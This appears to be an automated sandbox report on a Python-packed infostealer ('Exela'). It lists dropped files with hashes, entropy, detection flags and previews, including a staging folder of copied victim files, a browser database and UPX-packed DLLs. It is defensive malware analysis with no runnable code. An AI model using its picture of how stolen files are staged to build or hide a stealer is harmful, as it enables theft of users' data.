Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\VLZDGUKUTZ\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\XZXHAVGRAG\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\XZXHAVGRAG\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\XZXHAVGRAG\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\XZXHAVGRAG\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\XZXHAVGRAG\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\Web.db

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI13962\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109392
Entropy (8bit):	6.641929675972235
Encrypted:	false
SSDEEP:	1536:GcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/woecbq8qZHg2zuCS+zuecL:GV3iC0h9q4v6XjKwoecbq8qBTq+1cL
MD5:	4585A96CC4EEF6AAFD5E27EA09147DC6
SHA1:	489CFFF1B19ABBEC98FDA26AC8958005E88DD0CB
SHA-256:	A8F950B4357EC12CFCCDDC9094CCA56A3D5244B95E09EA6E9A746489F2D58736
SHA-512:	D78260C66331FE3029D2CC1B41A5D002EC651F2E3BBF55076D65839B5E3C6297955AFD4D9AB8951FBDC9F929DBC65EB18B14B59BCE1F2994318564EB4920F286
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: PDF_Resave.exe, Detection: malicious, Browse Filename: phost.exe, Detection: malicious, Browse Filename: shost.exe, Detection: malicious, Browse Filename: sppawx.exe, Detection: malicious, Browse Filename: qhos.exe, Detection: malicious, Browse Filename: wsapx.exe, Detection: malicious, Browse Filename: lz4wnSavmK.exe, Detection: malicious, Browse Filename: WVuXCNNYG0.exe, Detection: malicious, Browse Filename: dipwo1iToJ.exe, Detection: malicious, Browse Filename: Counseling_Services_Overview.docm, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........u...u...u.E.t...u.....u...t...u..v...u..q...u..p...u..u...u......u..w...u.Rich..u.........PE..d..._#;..........." ...".....`......................................................=.....`A........................................`C..4....K...............p.......\..PO...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata.......p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI13962\_asyncio.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37144
Entropy (8bit):	7.647257503514947
Encrypted:	false
SSDEEP:	768:jM6N/jQdkgecnskMKffKF9xQspYLyUIVOn8M5YiSyvWAMxkEu:jR0kiV3+fsBIVOn827SyMx6
MD5:	C2DA8C02C14C1539C9E1AC4E928D60B0
SHA1:	74F98CE6B84ACBD91FB7ACEAD1C3385E90E20BB9
SHA-256:	BCD230FF2CE48F416A78D67486B5BDD4BF06DCE89C9821205D448772D4BECD0B
SHA-512:	86003C5970E49D39A26C8CF41549502E19696BD30B4A8738B81E4B86EEC6B8D67DD734026CE55241B0DD6AA80F759AE20261BF82AA877C1652437422BE2723D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B:'T.[I..[I..[I..#...[I..'H..[I..'L..[I..'M..[I..'J..[I..&H..[I.M#H..[I..[H..[I..&D..[I..&I..[I..&...[I..&K..[I.Rich.[I.........PE..d......e.........." ...#.`...........".......................................P............`..........................................J..P....I..P....@......................DK..$.......................................@...........................................UPX0....................................UPX1.....`.......R..................@....rsrc........@.......V..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49432
Entropy (8bit):	7.8135914033786475
Encrypted:	false
SSDEEP:	1536:25xdYKhY/Y5bQMskWu3IVCVJv7SyhJDxhy:OxdYKS/Y5RJRIVCVJvXpy
MD5:	F807854B836AB1E84FCDB11560216929
SHA1:	627EF83CA0611D9CB267C72DFCCF2F0A30297D7C
SHA-256:	5847649160F3F1564E26CBA88E70BD159CC5CEA08A1BF07ECD5B7796A49D259E
SHA-512:	85C28890F2FA4EA6D4F295D41FFC11109D217449CD6F77EA4A901D3F681C67F1ABF59FDC5DEAD503DB99BA766D1C51EE5505E456A3B605374B00E3FF832ADD1D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......w.l.3...3...3...:...9......1......0......>......;......7.......0...x...1...3...l.......;.......2.......2.......2...Rich3...................PE..d......e.........." ...#............pd....................................................`.............................................H.................... .. ..................................................pp..@...........................................UPX0....................................UPX1................................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_cffi_backend.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	7.910249809084461
Encrypted:	false
SSDEEP:	1536:mmtchbmUHui4ehi47gdUCK41d34AANP8zj6V:/uhKUHuwPMO9y10P83
MD5:	2443ECADDFE40EE5130539024324E7FC
SHA1:	EA74AAF7848DE0A078A1510C3430246708631108
SHA-256:	9A5892AC0CD00C44CD7744D60C9459F302D5984DDB395CAEA52E4D8FD9BCA2DA
SHA-512:	5896AF78CF208E1350CF2C31F913AA100098DD1CF4BAE77CD2A36EC7695015986EC9913DF8D2EBC9992F8F7D48BBA102647DC5EE7F776593AE7BE36F46BD5C93
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........ ..MA.CMA.CMA.CD9MCAA.C.4.BOA.C+.#CIA.C.4.BFA.C.4.BEA.C.4.BIA.C.9.BIA.C.=.BNA.CMA.C.A.C.4.BIA.CD9KCLA.C.4.BLA.C.4!CLA.C.4.BLA.CRichMA.C........................PE..d...,..e.........." ..... .......@...R...P................................................`..........................................s..l....p.......p..........<...........ht..$....................................^..8...........................................UPX0.....@..............................UPX1..... ...P......................@....rsrc........p......................@..............................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59672
Entropy (8bit):	7.82957734909026
Encrypted:	false
SSDEEP:	1536:aAUOlRrHrPcX1nBeXfeIO/h8mLwj46IVLPZp7SyIx9:alOLL0FnIXm/yk6IVLPZpo
MD5:	955A3624921B140BF6ACABA5FCA4AC3B
SHA1:	027E0AF89A1DBF5EF235BD4293595BBC12639C28
SHA-256:	EA07594B2EEDE262D038DE13A64B76301EDFBDA11F885AFA581917B1FB969238
